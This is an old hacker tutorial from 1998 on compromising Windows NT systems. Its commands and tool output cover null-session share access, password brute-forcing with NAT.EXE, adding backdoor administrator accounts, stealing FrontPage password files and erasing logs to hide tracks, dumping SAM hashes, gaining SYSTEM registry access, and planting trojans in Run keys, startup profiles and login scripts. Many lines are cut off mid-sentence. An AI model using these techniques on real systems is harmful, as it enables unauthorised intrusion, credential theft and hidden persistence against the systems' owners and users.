Windows NT Deconstruction Tatics Step by Step NT Explotation Techniques by vacuum of Rhino9 & Technotronic vacuum@technotronic.com

Revision 5 10/01/98

Changes in Revision 5: Refined some NET.EXE examples. Included brief discussion of NetBus. Samba

rdisk /s information.

Made this .zip more like a unix rootkit by included all the mentioned tools. Cleaned up the overall layout.

- I. Initial Access Strategy
 - 1.) NetBIOS Shares Using Microsoft Executables
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- VI. PWDUMP Example

Included Files:

NTExploits.txt this document

samproof.txt example of the sam hive from the registry

notepad.reg Example .reg file that starts up notepad.exe upon login. Could be

service.pwd Service.pwd frontpage password example.

NetBIOS Shares Using the standard Microsoft Executables

C:\>NBTSTAT -A 123.123.123.123

C:\>NBTSTAT -a www.target.com

NetBIOS Remote Machine Name Table

Name		Type	Status
STUDENT1	<20>	UNIQUE	Registered
STUDENT1 DOMAIN1	<00>	UNIQUE GROUP	Registered Registered
DOMAIN1 DOMAIN1	<1C>	GROUP UNIOUE	Registered Registered
STUDENT1	<03>	UNIQUE	Registered
DOMAIN1 DOMAIN1	<1E> <1D>	GROUP UNIQUE	Registered Registered
MSBROWSE_	<01>	GROUP	Registered

MAC Address = 00-C0-4F-C4-8C-9D

After a NetBIOS share is found, it can be added to the LMHOSTS file.

Computername <03> UNIQUE Registered by the messenger service. This is the compute to be added to the LMHOSTS file which is not necessary to NAT.EXE but is necessary if you would like to view the re computer in Network Neighborhood.

Example of LMHOSTS file: 123.123.123.123 student1 24.3.9.12 target2

Now you can use the find computer options within NT or 95 to browse the shares. An alternative option would be to use the very powerful NET.EXE

C:\>net view 123.123.123.123 C:\>net view \\student1

Shared resources at 123.123.123.123

Share name Type Used as Comment

Logon server share

Test Disk The command completed successfully.

NOTE: The C\$ ADMIN\$ and IPC\$ shares are hidden and are not shown.

To connect to the ipc\$ using a null session: C:\net use \\111.111.111.111\ipc\$ "" /user:"" The command completed successfully.

To connect to a normal share: C:\net use x: $\123.123.123.123$ \test The command completed successfully.

Now the command prompt or the NT Explorer can be used to access the remote drive :

C:\net_use

New connections will be remembered.

Status	Local	Remote	Network
OK	Х:	\\123.123.123.123\test	Microsoft Windows Network
OK		\\123.123.123.123\test	Microsoft Windows Network
The command	completed	successfully.	

Here are some other interesting things that NET.EXE can be used for that are not NET localgroup <enter> will show which groups have been created on the local mach

NET name <enter> will show you the name of the computer as well as who is logged

NET accounts <enter> will show the password restrictions for the user.

NET share <enter> displays the shares for the local machine including the \$ share NET share unsecure=c:\ will share the c:\ as unsecure

NET user <enter> will show you which accounts are created on the local machine. NET user unsecure elite /add will add user unsecure with a password of elite.

NET start SERVICE.

NET start schedule will start the schedule service which can be used to access the

NET group

NET group Administrators unsecure /add will add the user unsecure to the Administ

NAT (NetBIOS Auditing Tool)

This technique works the the default share type everyone full control. If you are permissions have been applied to the share, and a password will be required.

NAT.EXE (NetBIOS Auditing Tool)
NAT.EXE [-o filename] [-u userlist] [-p passlist] <address>

OPTIONS

- -o Specify the output file. All results from the scan will be written to the specified file, in addition to standard output.
- -u Specify the file to read usernames from. Usernames will be read from the specified file when attempting to guess the password on the remote server. Usernames should appear one per line in the specified file.
- -p Specify the file to read passwords from. Passwords will be read from the specified file when attempting to guess the password on the remote server. Passwords should appear one per line in the specified file.

<address>

Addresses should be specified in comma deliminated format, with no spaces. Valid address specifications include:

hostname - "hostname" is added

127.0.0.1-127.0.0.3, adds addresses 127.0.0.1

through 127.0.0.3

127.0.0.1-3, adds addresses 127.0.0.1 through 127.0.0.3

127.0.0.1-3,7,10-20, adds addresses 127.0.0.1 through 127.0.0.3, 127.0.0.7, 127.0.0.10 through 127.0.0.20.

hostname, 127.0.0.1-3, adds "hostname" and 127.0.0.1 through 127.0.0.1

All combinations of hostnames and address ranges as specified above are valid.

NAT.EXE does all of the above techniques plus it will try Administrative shares (tool prefered by most hackers.

C:\nat -o vacuum.txt -u userlist.txt -p passlist.txt 204.73.131.10-204.73.131.30

- [*]--- Reading usernames from userlist.txt
- [*]--- Reading passwords from passlist.txt
- [*]--- Checking host: 204.73.131.11
- [*]--- Obtaining list of remote NetBIOS names
- [*]--- Attempting to connect with name: *
- [*]--- Unable to connect
- [*]--- Attempting to connect with name: *SMBSERVER
- [*]--- CONNECTED with name: *SMBSERVER
- [*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
- [*]--- Server time is Mon Dec 01 07:44:34 1997
- [*]--- Timezone is UTC-6.0
- [*]--- Remote server wants us to encrypt, telling it not to

```
[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to establish session
[*]--- Was not able to establish session with no password
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `password'
[*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `password'
[*]--- Obtained server information:
Server=[STUDENT1] User=[] Workgroup=[DOMAIN1] Domain=[]
[*]--- Obtained listing of shares:
                    Type
        Sharename
                              Comment
                 Disk: Remote Admin
Disk: Default share
IPC: Remote IPC
Disk: Logon server share
        ADMIN$
       C$
        IPC$
        NETLOGON
                      Disk:
        Test
[*]--- This machine has a browse list:
        Server
        STUDENT1
[*]--- Attempting to access share: \\*SMBSERVER\
[*]--- Unable to access
[*]--- Attempting to access share: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$
[*]--- Checking write access in: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$
[*]--- Attempting to access share: \\*SMBSERVER\C$
[*]--- WARNING: Able to access share: \\*SMBSERVER\C$
[*]--- Checking write access in: \\*SMBSERVER\C$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$
[*]--- Attempting to access share: \\*SMBSERVER\NETLOGON
[*]--- WARNING: Able to access share: \ \'*SMBSERVER\NETLOGON
[*]--- Checking write access in: \\*SMBSERVER\NETLOGON
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON
[*]--- Attempting to access share: \\*SMBSERVER\Test
[*]--- WARNING: Able to access share: \\*SMBSERVER\Test
[*]--- Checking write access in: \\*SMBSERVER\Test
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\Test
[*]--- Attempting to access share: \\*SMBSERVER\D$
[*]--- Unable to access
[*]--- Attempting to access share: \\*SMBSERVER\ROOT
[*]--- Unable to access
[*]--- Attempting to access share: \\*SMBSERVER\WINNT$
[*]--- Unable to access
```

If Default share of Everyone/Full Control. Done it is hacked.

FrontPage Exploitation:

Most frontpage exploits compromise only the wwwroot directory and can be used to html of a site which has become a popular method of gaining fame in the hacker con

The following is a list of the Internet Information server files location in relation to the local hard drive (C:) and the web (www.target.com)

C:\InetPub\wwwroot_vti_bin_vti_adm /_vti_bin/_vti_adm C:\InetPub\wwwroot_vti_bin_vti_aut /_vti_bin/_vti_aut

C:\InetPub\wwwroot_vti_pvt

C:\Program Files\Microsoft FrontPage_vti_bin

C:\Program Files\Microsoft FrontPage_vti_bin_vti_aut
C:\Program Files\Microsoft FrontPage_vti_bin_vti_adm

C:\WINNT\System32\inetserv\iisadmin\htmldocs\admin.htm /iisadmin/isadmin

http://localhost:8814/iisadmin/iisnew.asp

where 8814 is a randomly chosen port. By default only localhost (127.0.0.1) has a version of Internet Server Mangager HTML

Using FrontPage, a hacker may alter the html of a remote website often frontpage are left un-passworded.

On the FrontPage Explorer's File menu, choose Open FrontPage Web. In the Getting Started dialog box, select Open an Existing FrontPage Web and choose the FrontPage web you want to open. Click More Webs if the web you want to open is not listed. Click OK.

If you are prompted for your author name and password, you will have to decrypt service.pwd, guess or move on.

Enter them in the Name and Password Required dialog box, and click OK. Alter the existing page, or upload a page of your own.

Scanning PORT 80 (http) or 443 (https) options:

GET /_vti_inf.html #Ensures that frontpage server extensions are installed.

GET /_vti_pvt/service.pwd #Contains the encrypted password files.

Not used on IIS and WebSite servers

GET /_vti_pvt/authors.pwd #On Netscape servers only. Encrypted names and passwords of authors.

GET /_vti_pvt/administrators.pwd
GET / vti_log/author.log

GET /_vti_log/author.log #If author.log is there it will need to be cleaned to cover your tracks

GET /samples/search/queryhit.htm

Other ways of obtaining service.pwd http://ftpsearch.com/index.html search for service.pwd http://www.altavista.digital.com advanced search for link:"/ vti pvt/service.pwd"

Attempt to connect to the server using FTP.

port 21
login anonymous
password guest@unknown
the anonymous login will use the internally created IISUSR computername

account to assign NT permissions.

An incorrect configuration may leave areas vulnerable to attack.

If you find a writeable anonymous ftp account, copy any executables (Netbus for ento the c:\inetpub\scripts\ directory. The permissions on the scripts directory are Execute (including script). This is valuable, allowing you to http://www.target.co

If service.pwd is obtained it will look similar to this: Vacuum:SGXJV16OJ9zkE

The above password is apple Turn it into DES format:

Vacuum:SGXJV160J9zkE:10:200:Vacuum:/users/Vacuum:/bin/bash

The run your favorite unix password cracker like john.exe (John The Ripper) again

Registry Vulnerabilities:

RDISK

rdisk /s will dump the security and sam portions of the registry into c:\winnt\reg It will also give you the option of creating an emergency repair diskette. This . Within that directory there will be a sam._ file. It is ethically used for the em

GAINING ACCESS TO THE ENTIRE REGISTRY (Local) For this to work, you will need to start the schedule service. From the Command Prompt:

C:\>net start schedule
The Schedule service is starting.
The Schedule service was started successfully.

From a Command Prompt:

at <time> /interactive "regedt32.exe"

Where, <time> gets replaced with the current time plus about a minute to take car At <time>, regedt32.exe will appear on your desktop. This execution of regedt32.exe security context. As such, it will allow you access to the entire registry, included that this will not work against a remote registry; you will need to do this to modify registry.

If sussessful, you will recive a message similar to the following: Added a new job with job ID = 0

samproof.txt example showing the SAM can be opened

Where, <time> gets replaced with the current time plus about a minute to take care

Basic remote registry access that does not include the sam and security hives: Windows NT supports accessing a remote registry via the Registry Editor and also

HKEY_LOCAL_MACHINE\
SYSTEM\
CurrentControlSet\
Control\
SecurePipeServers\
Winreg

If this key does not exist, remote access is not restricted, and only the underly

REGEDT32.EXE

To access the registry of a REMOTE NT computer you must have ADMINISTRATOR RIGHTS NAT.EXE (covered in the NetBIOS Section) has often lead to compromised administration passwords. Administrators should turn off all shares, including C\$

To modify the Registry on a remote computer Start Regedt32

- 1 On the File menu, click Connect.
- 2 Type the name of the remote computer.
- 3 In the Users on Remote Computer dialog box, click the user that is interactivel
- 4 Double-click Local User to change HKEY CURRENT USER Registry settings.
- 5 Double-click Local Computer to change HKEY LOCAL MACHINE Registry settings.
- 6 On the File menu, click Save.
- 7 On the File menu, click Disconnect.

Notes:

You can access the Registry only on computers for which you have administrative p

REGINI is a tool that can be used from the command line to manipulate (in our cas-

at <time> /interactive "regedt32.exe"

technique mentioned above.

```
REGINI.EXE
```

[-c] codepage
[-b] textFiles...

where: -h specifies a specify local hive to manipulate.

- -w specifies the paths to a Windows 95 system.dat and user.dat files
- -m specifies a remote Windows NT machine whose registry is to be manipulate
- $-\mathrm{i}$ n specifies the display indentation multiple. Default is 4
- -o outputWidth specifies how wide the output is to be.

By default the outputWidth is set to the width of the console window if standard output has not been redirected to a file. In the latter case, an outputWidth of

- -c specifies codepage of textFiles, if they are ANSI textFiles.
- -b specifies that REGINI should be backward compatible with older versions of REGINI that did not strictly enforce line continuations and quoted strings Specifically, REG_BINARY, REG_RESOURCE_LIST and REG_RESOURCE_REQUIREMENTS_LIST data types did not need line continuations after the first number that gave the size of the data. It just kept looking on following lines until it found enough data values to equal the data length or hit invalid input. Quoted strings were only allowed in REG_MULTI_SZ. They could not be specified around key or value names, or around values for REG_SZ or REG_EXPAND_SZ Finally, the old REGINI did not support the semicolon as an end of line comment character.

textFiles is one or more ANSI or Unicode text files with registry data.

The easiest way to understand the format of the input textFile is to use the REGDMP command with no arguments to dump the current contents of your NT Registry to standard out. Redirect standard out to a file and this file is acceptable as input to REGINI

Some general rules are:

Semicolon character is an end-of-line comment character, provided it is the first non-blank character on a line

Backslash character is a line continuation character. All characters from the backslash up to but not including the first non-blank character of the next line are ignored. If there is more

than one space before the line continuation character, it is replaced by a single space.

Indentation is used to indicate the tree structure of registry keys The REGDMP program uses indentation in multiples of 4. You may use hard tab characters for indentation, but embedded hard tab

than one space before the line continuation character, it is replaced by a single space.

Indentation is used to indicate the tree structure of registry keys The REGDMP program uses indentation in multiples of 4. You may use hard tab characters for indentation, but embedded hard tab characters are converted to a single space regardless of their position

For key names, leading and trailing space characters are ignored and not included in the key name, unless the key name is surrounded by quotes. Imbedded spaces are part of a key name.

Key names can be followed by an Access Control List (ACL) which is a series of decimal numbers, separated by spaces, bracketed by a square brackets (e.g. [8 4 17]). The valid numbers and their meanings are:

- 1 Administrators Full Access
- 2 Administrators Read Access
- 3 Administrators Read and Write Access
- 4 Administrators Read, Write and Delete Access
- 5 Creator Full Access
- 6 Creator Read and Write Access
- 7 World Full Access
- 8 World Read Access
- 9 World Read and Write Access
- 10 World Read, Write and Delete Access
- 11 Power Users Full Access
- 12 Power Users Read and Write Access
- 13 Power Users Read, Write and Delete Access
- 14 System Operators Full Access
- 15 System Operators Read and Write Access
- 16 System Operators Read, Write and Delete Access
- 17 System Full Access
- 18 System Read and Write Access
- 19 System Read Access
- 20 Administrators Read, Write and Execute Access
- 21 Interactive User Full Access
- 22 Interactive User Read and Write Access
- 23 Interactive User Read, Write and Delete Access

If there is an equal sign on the same line as a left square bracket then the equal sign takes precedence, and the line is treated as a registry value. If the text between the square brackets is the string DELETE with no spaces, then REGINI will delete the key and any values and keys under it.

For registry values, the syntax is:

value Name = type data

Leading spaces, spaces on either side of the equal sign and spaces between the type keyword and data are ignored, unless the value name is surrounded by quotes. The value name may be left off or be specified by an at-sign character which is the same thing, namely the empty value name. So the following two lines are identical:

= type data
@ = type data

This syntax means that you can't create a value with leading or or trailing spaces, an equal sign or an at-sign in the value name, unless you put the name in quotes.

Valid value types and format of data that follows are:

REG_SZ text

REG_EXPAND_SZ text

REG_MULTI_SZ "string1" "string2" ...

REG_DATE mm/dd/yyyy HH:MM DayOfWeek

REG_DWORD numberDWORD

REG_BINARY numberOfBytes numberDWORD(s)...

REG_NONE (same format as REG_BINARY)

REG_RESOURCE_LIST (same format as REG_BINARY)

REG_RESOURCE_REQUIREMENTS (same format as REG_BINARY)

REG_RESOURCE_REQUIREMENTS_LIST (same format as REG_BINARY)

REG_FULL_RESOURCE_DESCRIPTOR (same format as REG_BINARY)

REG_MULTISZ_FILE fileName

REG_BINARYFILE fileName

If no value type is specified, default is REG SZ

For REG_SZ and REG_EXPAND_SZ, if you want leading or trailing spaces in the value text, surround the text with quotes. The value text can contain any number of imbedded quotes, and REGINI will ignore them, as it only looks at the first and last character for quote characters.

For REG_BINARY, the value data consists of one or more numbers The default base for numbers is decimal. Hexidecimal may be specified by using 0x prefix. The first number is the number of data bytes, excluding the first number. After the first number must come enough numbers to fill the value. Each number represents one DWORD or 4 bytes. So if the first number was 0x5 you would need two more numbers after that to fill the 5 bytes. The high high order 3 bytes of the second DWORD would be ignored.

REGDMP.EXE

where: $\mbox{-m}$ specifies a remote Windows NT machine whose registry is to be manipula ted.

- -h specifies a specify local hive to manipulate.
- -w specifies the paths to a Windows 95 system.dat and user.dat files
- -i n specifies the display indentation multiple. Default is 4
- -o outputWidth specifies how wide the output is to be. By default the outputWidth is set to the width of the console window if standard output has not been redirected to a file. In the latter case, an

outputWidth of 240 is used.

-s specifies summary output. Value names, type and first line of data

registryPath specifies where to start dumping.

If REGDMP detects any REG_SZ or REG_EXPAND_SZ that is missing the trailing null character, it will prefix the value string with the following text: (*** MISSING TRAILING NULL CHARACTER ***)
The REGFIND tool can be used to clean these up, as this is a common programming error.

Whenever specifying a registry path, either on the command line or in an input file, the following prefix strings can be used:

HKEY_LOCAL_MACHINE HKEY_USERS HKEY_CURRENT_USER USER:

Each of these strings can stand alone as the key name or be followed a backslash and a subkey path.

RedButton exploits a flaw allowing the creation of a new entry in the registry wh
Using the Registry to Execute Malicious Code

Note: Regedit.exe lets you export keys to .reg files which can also be very handy

.REG files are used to directly change registry keys. The contents of a .reg file are similar to the contents of the textfile used with REGINI.EXE

Example (included as notepad.reg) will launch notepad.exe on startup. This of coucould be any executable.

-- cut here -- REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "Rhino9"="notepad.exe"

-- cut here --

Trojan Building:

This is the properties of a evil .lnk (Shortcut) file. This technique uses the same strategy as the Internet Explorer 3.0 bug. You will NOT find an example of a working trojan here. There are plenty of malicious executables available elsewhere on the internet. Keyloggers, sniffers, pwdump.exe, getadmin.exe are a few examples. This document is meant to increase trojan awareness, not provide step-by-step instructions for novice hackers.

To execute a .exe, .com, .bat, or .cmd C:\WINDOWS\COMMAND\START.EXE /m command.com /c trojan.bat

For those of you familiar with NetBus 1.6 this would be a good way of launching patch.exe is the client portion of this popular remote control trojan.

NOTE: Back Orifice currently does not run under the Windows NT environment.

To add an entry to the registry C:\WINDOWS\COMMAND\START.EXE /m command.com /c trojan.reg

Where trojan.reg looks similar to the example notepad.reg shown above.

This evil shortcut can be propagated throughout NT domains through Profiles. Use

START ["title"] [/Dpath] [/I] [/MIN] [/MAX] [/SEPARATE | /SHARED]
[/LOW | /NORMAL | /HIGH | /REALTIME] [/WAIT] [/B] [command/program] [parame

"title" Title to display in window title bar.

path Starting directory

I The new environment will be the original environment passed

to the cmd.exe and not the current environment.

MIN Start window minimized MAX Start window maximized

SEPARATE Start 16-bit Windows program in separate memory space SHARED Start 16-bit Windows program in shared memory space

LOW Start application in the IDLE priority class

NORMAL Start application in the NORMAL priority class

HIGH Start application in the HIGH priority class

REALTIME Start application in the REALTIME priority class

WAIT Start application and wait for it to terminate

Start application without creating a new window. The

application has ^C handling ignored. Unless the application enables ^C processing, ^Break is the only way to interrupt the

application

NOTE: /m is used to minimize the window another available option is /wait which w

Starts a separate window to run a specified program or command.

start.exe and at.exe can be used in combination if the scheduler service is start-

Security hole within winnt\profiles and login scripts

Using the trojan building information above, trojans can be deseminated by strate

A malicious executable file can be planted in:

C:\WINNT\Profiles\Default User\Start Menu\Programs\Startup

Any user logging in to the machine for the first time would inherit your maliciou or

C:\WINNT\Profiles\userid of exiting user\Start Menu\Programs\Startup would cause existing users to launch your malicious shortcuts on startup.

If roaming profiles are turned on, your malicious shortcut would follow the user the workstation when the user logged in. If you are unable to install your trojan

C:\WINNT\SYSTEM32\REPL\IMPORT\SCRIPTS

Is the location that login scripts (.CMD) files are stored. Malicious code can be

Here are the default NTFS permissions:

C:\WINNT\PROFILES and C:\WINNT\SYSTEM32\REPL\IMPORT\SCRIPTS

Administrators Full Control

Everyone Read

System Full Control

FAT Partitions have no file level security. New users logging into the system wou

Hiding Detection

Replace an existing startup program with trojan. Rename your trojan so that it is

Workarounds for common sytsem policy restrictions:

System Policies are implemented to restrict the user from performing certain task

Installing Printers:

If you do not have access to the printers folder from the Start/Settings/Printers

Control Panel Restrictions:

If you do not have access to the Control Panel from Start/Settings/Control Panel All of the normally displayed icons appear as help topics.

If you click on "Network" for example a Windows NT Help Screen appears with a nic-

Missing Command Prompt:

Start NT Explorer change tgo c:\winnt\system32 Double click on COMMAND.COM a comm Net View <Enter> is like Network Neighborhood Net View \COMPUTERName is like Doul Net use x: \Computername\Sharename maps a drive letter to the share.

Finding a file is simple:dir filename.ext /sRun Command Missing:

This is rather obvious but I will include it as it is a valid system policy restr. System Policies that I have NOT found a workaround for yet: If your display setting

PWDUMP.EXE

When running pwdump.exe it is a good idea to echo the results to a file. Otherwispwdump >pwd.txt

NOTE: This is the pwdump from the webserver the Lan Manager password is set to "p

Port to connect to (used only for testing)

Some SAMBA Commands:

-p port

smbmount is similar to the net use command.

usage: smbmount //server/service mount-point [options]
Version 2.0.2

```
max xmit offered (used only for testing)
-m max xmit
-s servername Netbios name of server
-c clientname Netbios name of client
-I machinename The hostname of the machine
-U username Username sent to server
-D domain
              Domain name
-u uid
              uid the mounted files get
             gid the mounted files get permission the files get (octal notation) permission the dirs get (octal notation)
-g gid
-f mode
-d mode
-C
              Don't convert password to uppercase
-P password Use this password
               Do not use any password
                If neither -P nor -n are given, you are
                asked for a password.
-h
                print this help text
```

NMBLOOKUP is the equivalent of nbtstat.

Usage: nmblookup [-M] [-B bcast address] [-d debuglevel] name Version 1.9.18p7

num_good_sends=0 num_good_receives=0